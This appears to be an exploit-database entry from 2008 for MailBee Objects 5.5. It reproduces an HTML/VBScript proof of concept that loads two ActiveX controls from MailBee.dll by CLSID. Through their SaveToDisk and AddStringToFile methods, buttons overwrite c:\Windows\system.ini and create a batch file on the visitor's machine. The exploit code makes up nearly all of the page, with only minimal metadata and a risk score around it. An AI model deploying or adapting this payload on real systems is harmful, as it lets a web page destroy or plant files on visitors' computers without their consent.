MailBee Objects 5.5 (MailBee.dll) Remote Insecure Method Exploit

🗓️ 29 Jan 2008 00:00:00Reported by RootType
MailBee Objects 5.5 (MailBee.dll) Remote Insecure Method Exploi

                                                &lt;body&nbsp;bgcolor=&quot;#000000&quot;&gt;

&lt;div&nbsp;align=&quot;center&quot;&gt;

&lt;pre&gt;&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;verdana;&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;=======================================================================&lt;/font&gt;
&lt;/div&gt;&lt;center&gt;
&nbsp;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;color=&quot;#00FF00&quot;&gt;&lt;b&gt;MailBee&nbsp;Objects&nbsp;v5.5&nbsp;(MailBee.dll)&nbsp;Insecure&nbsp;Method&lt;/b&gt;&lt;br&gt;
&nbsp;Web&nbsp;site&nbsp;:&nbsp;&lt;a&nbsp;href=&quot;http://www.afterlogic.com/&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;http://www.afterlogic.com/&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;br&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;color=&quot;#00FF00&quot;&gt;
=======================================================================&lt;/font&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;color=&quot;#00FF00&quot;&gt;
&nbsp;&lt;/font&gt;&lt;/span&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;&lt;br&gt;&lt;span&nbsp;style=&quot;font-style:normal;&nbsp;font-variant:normal;&nbsp;font-size:10pt;&nbsp;font-family:Verdana;&nbsp;font-weight:700&quot;&gt;Author:&nbsp;darkl0rd
&nbsp;&lt;br&gt;E-mail:&nbsp;[email protected]&lt;/span&gt;&lt;/font&gt;&lt;br&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;&lt;span&nbsp;style=&quot;font-style:normal;&nbsp;font-variant:normal;&nbsp;font-weight:normal;&nbsp;font-size:10pt;&nbsp;font-family:Verdana&quot;&gt;
&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;6
&lt;/span&gt;&lt;/font&gt;&lt;/center&gt;

&lt;div&nbsp;align=&quot;left&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;&lt;object&nbsp;classid='clsid:0A83F9E1-A8DD-459F-B98F-24295345AFA8'&nbsp;id='los'&gt;&lt;/object&gt;&lt;/font&gt;
&lt;object&nbsp;classid='clsid:4D007FEC-23CA-4DEF-869A-8776FAE266DB'&nbsp;id='over'&gt;&lt;/object&gt;
&lt;/div&gt;&lt;div&nbsp;align=&quot;center&quot;&gt;&lt;br&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&nbsp;face=&quot;Verdana&quot;&gt;Save&nbsp;Files&lt;/font&gt;
&lt;/div&gt;&lt;center&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;verdana;&quot;&gt;&lt;input&nbsp;language=VBScript&nbsp;onclick=evil()&nbsp;type=button&nbsp;value=&quot;Exploit&nbsp;[1]&quot;&gt;&lt;/span&gt;&amp;nbsp;&lt;font&nbsp;face=&quot;verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#00FF00&quot;&gt;&lt;br&gt;Creat&nbsp;Files&lt;/font&gt;&lt;/center&gt;
&lt;center&gt;&lt;input&nbsp;language=VBScript&nbsp;onclick=nice()&nbsp;type=button&nbsp;value='Exploit&nbsp;[2]'&gt;&lt;/center&gt;
d'/&lt;script&nbsp;language='vbscript'&gt;
&nbsp;Sub&nbsp;evil
&nbsp;&nbsp;&nbsp;los.SaveToDisk&nbsp;(&quot;c:\Windows\&quot;),&quot;system.ini&quot;
&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox(&quot;Exploit&nbsp;completed!&quot;)
&nbsp;End&nbsp;Sub
&nbsp;Sub&nbsp;nice
&nbsp;&nbsp;&nbsp;mystr=&quot;start&quot;
&nbsp;&nbsp;&nbsp;over.AddStringToFile&nbsp;&quot;c:\darkl0rd.bat&quot;&nbsp;,mystr
&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox(&quot;Exploit&nbsp;completed!&quot;)
&nbsp;&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
29 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1